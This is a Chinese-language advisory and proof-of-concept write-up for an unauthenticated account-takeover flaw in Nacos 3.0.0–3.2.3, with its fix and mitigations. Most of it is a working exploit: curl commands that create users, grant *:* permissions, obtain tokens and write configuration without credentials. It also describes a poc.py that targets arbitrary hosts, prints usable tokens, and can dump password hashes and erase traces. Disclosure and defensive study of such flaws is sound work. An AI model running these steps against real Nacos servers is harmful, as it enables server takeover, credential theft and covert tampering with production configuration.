Nacos 3.0.0 ~ 3.2.3 存在一个鉴权作用域错配问题:用户、角色、权限三个管理接口落在了一个默认不鉴权的作用域里。攻击者不需要任何凭证,就能在 8848 端口上给自己建账号、发权限,然后正常登录拿到 token,等同接管整个服务端。3.2.4 修复。

  • 影响版本:3.0.0 ~ 3.2.3
  • 修复版本:3.2.4
  • 攻击面:服务端主端口 8848(SDK/gRPC 用的端口,生产上基本都对内网开着)
  • 前置条件:无。即使按官方文档把 admin、console 鉴权全开也一样能打

成因

Nacos 3.x 把接口鉴权按 @Secured(apiType = ...) 分了几个作用域,每个作用域一个开关:

  • ADMIN_APIAuthAdminFilter,开关 nacos.core.auth.admin.enabled,默认开
  • CONSOLE_API 归控制台,开关 nacos.core.auth.console.enabled,默认开
  • OPEN_APIAuthFilter,开关 nacos.core.auth.enabled默认关

问题在于 apiType 的默认值就是 OPEN_APISecured.java),而 UserControllerV3RoleControllerV3PermissionControllerV3 的注解都没写这个属性:

// 3.2.3, UserControllerV3.createUser
@Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
    action = ActionTypes.WRITE)          // 没写 apiType
@PostMapping
public Result<String> createUser(@RequestParam String username, @RequestParam String password) {

于是这三个接口被默认关闭的 AuthFilter 把守,直接放行;而默认开启的 AuthAdminFilter 只匹配 apiType == ADMIN_API,根本不管它们。过滤器的放行逻辑在 AbstractWebAuthFilter 里,作用域开关一关就 chain.doFilter 了。

3.2.4 的修复很简单,就是补上注解:

 @Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
-    action = ActionTypes.WRITE)
+    action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)

环境搭建

本地用 3.2.3 复现,standalone 模式,JDK 17+(我用的 openjdk 25):

tar -xzf nacos-server-3.2.3.tar.gz && cd nacos
# conf/application.properties 需要补三处,否则启动脚本会交互式让你填:
#   nacos.core.auth.server.identity.key=serverIdentity
#   nacos.core.auth.server.identity.value=security
#   nacos.core.auth.plugin.nacos.token.secret.key=  # openssl rand -base64 32
# 其余保持默认:auth.enabled=false, auth.admin.enabled=true, auth.console.enabled=true
bash bin/startup.sh -m standalone

这个配置就是"按文档开了鉴权"的正常部署,不是弱配置环境。

复现

全程不带任何凭证。先看对照组,确认鉴权本身是在工作的:

$ curl -o /dev/null -s -w "%{http_code}\n" "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10"
403      # admin 作用域正常拦截
$ curl -o /dev/null -s -w "%{http_code}\n" -X POST "http://127.0.0.1:8080/v3/auth/user" -d "username=x&password=x"
403      # 控制台 8080 也正常拦截

然后是漏洞本体:

# 1. 未授权建号
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user" -d "username=poc_user&password=Poc@123456"
{"code":0,"message":"success","data":"create user ok!"}

# 2. 绑角色。ROLE_ADMIN 是保留角色会被业务层拦掉:
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" -d "role=ROLE_ADMIN&username=poc_user"
{"status":500,...,"message":"role 'ROLE_ADMIN' is not permitted to create!"}
# 换自定义角色就行:
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" -d "role=poc_role&username=poc_user"
{"code":0,"message":"success","data":"add role ok!"}

# 3. 给自定义角色发 *:* 读写权限,效果和 admin 等价
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/permission" -d "role=poc_role&resource=*:*&action=rw"
{"code":0,"message":"success","data":"add permission ok!"}

# 4. 登录拿 token(nacos.core.auth.caching.enabled 默认开着,刚建的号要等 15s 左右缓存刷新才能登上)
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user/login" -d "username=poc_user&password=Poc@123456"
{"accessToken":"eyJhbGciOiJIUzI1NiJ9....","tokenTtl":18000,"globalAdmin":false,"username":"poc_user"}

# 5. 用这个 token 干 admin 才能干的事,比如列配置、写配置
$ curl -s "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10" -H "accessToken: $TOKEN"
{"code":0,"message":"success","data":{"totalCount":0,...}}
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/admin/cs/config" -H "accessToken: $TOKEN" \
    --data-urlencode "dataId=pwned.yml" --data-urlencode "groupName=DEFAULT_GROUP" \
    --data-urlencode "namespaceId=public" --data-urlencode "content=written by unauth attacker"
{"code":0,"message":"success","data":true}

读回这条配置能看到 createUser: poc_user,痕迹已经落库。

另外几个细节:

  • GET /v3/auth/user/list 未授权能直接拖全部用户名和 bcrypt 哈希,可以当无损检测点
  • 对应的 DELETE 接口同样未授权可用,攻击者打完可以把痕迹清干净
  • 能拿到全部配置的读写,等于数据库/中间件凭证都能看,再配合客户端配置注入可以往 RCE 走

POC 用法

python3 poc/poc.py                                # 默认打 127.0.0.1:8848
python3 poc/poc.py --host 10.0.0.5 --port 8848
python3 poc/poc.py --check-only                   # 只读探测,不写入
python3 poc/poc.py --no-cleanup                   # 打完不删注入的账号

纯 Python3 标准库,没有第三方依赖。流程是建号 → 绑角色 → 发权限 → 登录 → 列配置/写标记配置 → 自动清理,登录和用权阶段内置了重试(等鉴权缓存刷新)。结束时会把注入的账号、密码、完整 accessToken 集中打印一遍,直接拿去就能用;默认跑完会清理账户(token 随之失效),想保留账户就加 --no-cleanup。退出码 0 表示漏洞存在且利用成功,2 表示目标已修复。

修复建议

  • 升级到 3.2.4 及以上
  • 升级前临时缓解:开 nacos.core.auth.enabled=true(OPEN_API 作用域也会鉴权),或者在网关上把 8848 的 /v3/auth/* 限到可信来源
  • 排查是否已被打:看 users/roles/permissions 表里有没有来历不明、带 *:* 权限的账号;翻访问日志里 POST /v3/auth/userPOST /v3/auth/permission 无 token 返回 2xx 的记录

参考